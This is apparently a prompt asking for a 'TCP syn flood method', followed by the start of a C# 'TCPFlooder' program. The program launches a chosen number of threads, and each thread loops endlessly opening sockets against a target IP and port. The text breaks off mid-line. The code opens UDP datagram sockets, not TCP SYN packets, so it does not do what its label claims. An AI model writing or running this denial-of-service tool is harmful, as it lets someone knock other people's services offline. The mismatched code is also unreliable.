TCP syn flood method with these args: string ip, int port, int delay, int threads

using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Collections.Generic;
using System.Linq;

namespace TCPFlooder
{
    public class TCPFlooder
    {
        static void Main(string[] args)
        {
            string ip = args[0];
            int port = Convert.ToInt32(args[1]);
            int delay = Convert.ToInt32(args[2]);
            int threads = Convert.ToInt32(args[3]);

            var list = Enumerable.Range(0, threads).Select(i => new Thread(() => new TCPFlooder().Flood(ip, port, delay))).ToList();
            foreach (Thread t in list)
                t.Start();
        }

        public void Flood(string ip, int port, int delay)
        {
            while (true)
            {
                Socket sck = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.U